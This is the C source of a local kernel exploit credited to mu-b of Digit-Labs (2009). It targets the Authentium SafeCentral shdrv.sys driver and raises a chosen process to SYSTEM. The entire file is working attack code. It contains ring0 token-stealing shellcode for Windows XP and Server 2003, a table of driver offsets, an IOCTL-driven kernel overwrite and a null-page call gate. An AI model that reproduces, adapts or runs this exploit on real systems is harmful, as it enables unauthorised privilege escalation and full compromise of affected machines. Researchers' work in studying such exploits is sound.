/* safecentral-unharden-v2.c * * Copyright (c) 2009 by * * Authentium SafeCentral <= 2.6 shdrv.sys local kernel ring0 SYSTEM exploit * by mu-b - Thu 3 Sep 2009 * * - Tested on: shdrv.sys 2.0.0.146 * * Compile: MinGW + -lntdll * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2009!@$! */ #include #include #include #include #define SAFECNTRL_IOCTL 0x00226003 static unsigned char win32_fixup[] = "\x53" "\xb8\x00\x00\x00\x00" "\xbb\x00\x00\x00\x00" "\x8b\x00" "\x89\x03" "\x31\xdb" "\x4b" "\x89\x18"; /* Win2k3 SP1/2 - kernel EPROCESS token switcher * by mu-b */ static unsigned char win2k3_ring0_shell[] = /* _ring0 */ "\xb8\x24\xf1\xdf\xff" "\x8b\x00" "\x8b\xb0\x18\x02\x00\x00" "\x89\xf0" /* _sys_eprocess_loop */ "\x8b\x98\x94\x00\x00\x00" "\x81\xfb\x04\x00\x00\x00" "\x74\x11" "\x8b\x80\x9c\x00\x00\x00" "\x2d\x98\x00\x00\x00" "\x39\xf0" "\x75\xe3" "\xeb\x21" /* _sys_eprocess_found */ "\x89\xc1" "\x89\xf0" /* _cmd_eprocess_loop */ "\x8b\x98\x94\x00\x00\x00" "\x81\xfb\x00\x00\x00\x00" "\x74\x10" "\x8b\x80\x9c\x00\x00\x00" "\x2d\x98\x00\x00\x00" "\x39\xf0" "\x75\xe3" /* _not_found */ "\xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%! */ "\x8b\x89\xd8\x00\x00\x00" "\x89\x88\xd8\x00\x00\x00" "\x90"; static unsigned char winxp_ring0_shell[] = /* _ring0 */ "\xb8\x24\xf1\xdf\xff" "\x8b\x00" "\x8b\x70\x44" "\x89\xf0" /* _sys_eprocess_loop */ "\x8b\x98\x84\x00\x00\x00" "\x81\xfb\x04\x00\x00\x00" "\x74\x11" "\x8b\x80\x8c\x00\x00\x00" "\x2d\x88\x00\x00\x00" "\x39\xf0" "\x75\xe3" "\xeb\x21" /* _sys_eprocess_found */ "\x89\xc1" "\x89\xf0" /* _cmd_eprocess_loop */ "\x8b\x98\x84\x00\x00\x00" "\x81\xfb\x00\x00\x00\x00" "\x74\x10" "\x8b\x80\x8c\x00\x00\x00" "\x2d\x88\x00\x00\x00" "\x39\xf0" "\x75\xe3" /* _not_found */ "\xcc" /* _cmd_eprocess_found * _ring0_end */ /* copy tokens!$%! */ "\x8b\x89\xc8\x00\x00\x00" "\x89\x88\xc8\x00\x00\x00" "\x90"; static unsigned char win32_ret[] = "\x5b" "\xc3"; struct ioctl_ver_req { DWORD *maj; CHAR pad[4]; DWORD *med; CHAR _pad[4]; DWORD *min; CHAR __pad[4]; DWORD *rel; CHAR ___pad[4]; }; struct ioctl_req { DWORD action; struct ioctl_ver_req *args; DWORD *result; }; struct ioctl_call { DWORD len; PVOID func; DWORD arg_len; }; static struct targets { CONST CHAR *name; DWORD struct_off; DWORD struct2_off; } targets_t[] = { { "2.0.0.128", 0x00019838, 0x0001959C }, { "2.0.0.141", 0x0001C430, 0x0001C178 }, { "2.0.0.146", 0x0001CBC4, 0x0001C8F8 }, { NULL, 0, 0 }, }; static PCHAR fixup_ring0_shell (PVOID base, DWORD ppid, DWORD *zlen, DWORD struct_off, DWORD struct2_off) { DWORD dwVersion, dwMajorVersion, dwMinorVersion; dwVersion = GetVersion (); dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion))); dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion))); if (dwMajorVersion != 5) { fprintf (stderr, "* GetVersion, unsupported version\n"); exit (EXIT_FAILURE); } *(PDWORD) &win32_fixup[2] = (DWORD) base + struct2_off; *(PDWORD) &win32_fixup[7] = (DWORD) base + struct_off; switch (dwMinorVersion) { case 1: *zlen = sizeof winxp_ring0_shell - 1; *(PDWORD) &winxp_ring0_shell[55] = ppid; return (winxp_ring0_shell); case 2: *zlen = sizeof win2k3_ring0_shell - 1; *(PDWORD) &win2k3_ring0_shell[58] = ppid; return (win2k3_ring0_shell); default: fprintf (stderr, "* GetVersion, unsupported version\n"); exit (EXIT_FAILURE); } return (NULL); } static PVOID get_module_base (void) { PSYSTEM_MODULE_INFORMATION_ENTRY pModuleBase; PSYSTEM_MODULE_INFORMATION pModuleInfo; DWORD i, num_modules, status, rlen; PVOID result; status = NtQuerySystemInformation (SystemModuleInformation, NULL, 0, &rlen); if (status != STATUS_INFO_LENGTH_MISMATCH) { fprintf (stderr, "* NtQuerySystemInformation failed, 0x%08X\n", status); exit (EXIT_FAILURE); } pModuleInfo = (PSYSTEM_MODULE_INFORMATION) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, rlen); status = NtQuerySystemInformation (SystemModuleInformation, pModuleInfo, rlen, &rlen); if (status != STATUS_SUCCESS) { fprintf (stderr, "* NtQuerySystemInformation failed, 0x%08X\n", status); exit (EXIT_FAILURE); } num_modules = pModuleInfo->Count; pModuleBase = &pModuleInfo->Module[0]; result = NULL; for (i = 0; i < num_modules; i++, pModuleBase++) if (strstr (pModuleBase->ImageName, "shdrv.sys")) { result = pModuleBase->Base; break; } HeapFree (GetProcessHeap (), HEAP_NO_SERIALIZE, pModuleInfo); return (result); } static DWORD get_module_version (HANDLE hFile, DWORD *maj, DWORD *med, DWORD *min, DWORD *rel) { struct ioctl_ver_req ver_req; struct ioctl_req req; DWORD req_result, rlen; OVERLAPPED olStruct; BOOL bResult; memset (&req, 0, sizeof req); req.action = 10; req.args = &ver_req; req.result = &req_result; memset (&ver_req, 0xCC, sizeof ver_req); ver_req.maj = maj; ver_req.med = med; ver_req.min = min; ver_req.rel = rel; memset (&olStruct, 0, sizeof olStruct); olStruct.hEvent = CreateEventW (NULL, TRUE, FALSE, NULL); if (!olStruct.hEvent) { fprintf (stderr, "* CreateEventW failed\n"); exit (EXIT_FAILURE); } bResult = DeviceIoControl (hFile, SAFECNTRL_IOCTL, &req, sizeof req, NULL, 0, &rlen, &olStruct); if (!bResult) { fprintf (stderr, "* DeviceIoControl failed\n"); exit (EXIT_FAILURE); } bResult = GetOverlappedResult (hFile, &olStruct, &rlen, 1); if (!bResult) { fprintf (stderr, "* GetOverlappedResult failed\n"); exit (EXIT_FAILURE); } CloseHandle (olStruct.hEvent); return (req_result); } int main (int argc, char **argv) { struct ioctl_call *gate; struct ioctl_req req; DWORD cpage_len, dResult, i, ppid, req_result, rlen, struct_off, struct2_off, ver[4], zlen; LPVOID cpage, base, zpage, zbuf; CHAR verbuf[32]; HANDLE hFile; BOOL bResult; printf ("Authentium SafeCentral <= 2.6 shdrv.sys local kernel ring0 SYSTEM exploit\n" "by: \n" "http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n"); if (argc <= 1) { fprintf (stderr, "Usage: %s \n", argv[0]); exit (EXIT_SUCCESS); } ppid = atoi (argv[1]); hFile = CreateFileA ("\\\\.\\ShDev", GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL); if (hFile == INVALID_HANDLE_VALUE) { fprintf (stderr, "* CreateFileA failed, %d\n", hFile); exit (EXIT_FAILURE); } printf ("* get driver version...\n"); get_module_version (hFile, &ver[0], &ver[1], &ver[2], &ver[3]); snprintf (verbuf, sizeof verbuf - 1, "%d.%d.%d.%d", ver[0], ver[1], ver[2], ver[3]); printf ("** version: %s\n", verbuf); printf ("* done\n"); for (i = 0; targets_t[i].name; i++) if (strcmp (targets_t[i].name, verbuf) == 0) { struct_off = targets_t[i].struct_off; struct2_off = targets_t[i].struct2_off; break; } if (targets_t[i].name == NULL) { fprintf (stderr, "* unsupported version found :( [%s]\n", verbuf); exit (EXIT_FAILURE); } cpage_len = 0x1000; cpage = (LPVOID) 0x00000001; dResult = NtAllocateVirtualMemory ((HANDLE) -1, &cpage, 0, &cpage_len, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); if (dResult != STATUS_SUCCESS) { fprintf (stderr, "* NtAllocateVirtualMemory failed\n"); exit (EXIT_FAILURE); } printf ("* allocated call page: 0x%08X [%d-bytes]\n", cpage, cpage_len); zpage = VirtualAlloc (NULL, 0x1000, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (zpage == NULL) { fprintf (stderr, "* VirtualAlloc failed\n"); exit (EXIT_FAILURE); } printf ("* allocated page: 0x%08X [%d-bytes]\n", zpage, 0x1000); gate = cpage + ver[0]; gate->len = 1; gate->func = zpage; gate->arg_len = 0; printf ("* call gate: %d function, func[0]: 0x%08X, arg_len: %d, base: @0x%08X\n", gate->len, gate->func, gate->arg_len, gate); base = get_module_base (); if (base == NULL) { fprintf (stderr, "* unable to find shdrv.sys base\n"); exit (EXIT_FAILURE); } printf ("* shdrv.sys base: 0x%08X\n", base); memset (zpage, 0xCC, 0x1000); zbuf = fixup_ring0_shell (base, ppid, &zlen, struct_off, struct2_off); memcpy ((LPVOID) zpage, win32_fixup, sizeof (win32_fixup) - 1); memcpy ((LPVOID) (zpage + sizeof (win32_fixup) - 1), zbuf, zlen); memcpy ((LPVOID) (zpage + sizeof (win32_fixup) + zlen - 1), win32_ret, sizeof (win32_ret) - 1); printf ("* overwriting @0x%08X.. ", (DWORD *) (base + struct_off)); fflush (stdout); get_module_version (hFile, (DWORD *) (base + struct_off), &ver[0], &ver[0], &ver[0]); printf ("done\n"); memset (&req, 0, sizeof req); req.action = 0; req.args = NULL; req.result = &req_result; printf ("* jumping.. "); Sleep (1000); fflush (stdout); bResult = DeviceIoControl (hFile, SAFECNTRL_IOCTL, &req, sizeof req, NULL, 0, &rlen, NULL); if (!bResult) { fprintf (stderr, "\n* DeviceIoControl failed\n"); exit (EXIT_FAILURE); } printf ("done\n"); printf ("* hmmm, you didn't STOP the box?!?!\n"); CloseHandle (hFile); return (EXIT_SUCCESS); }

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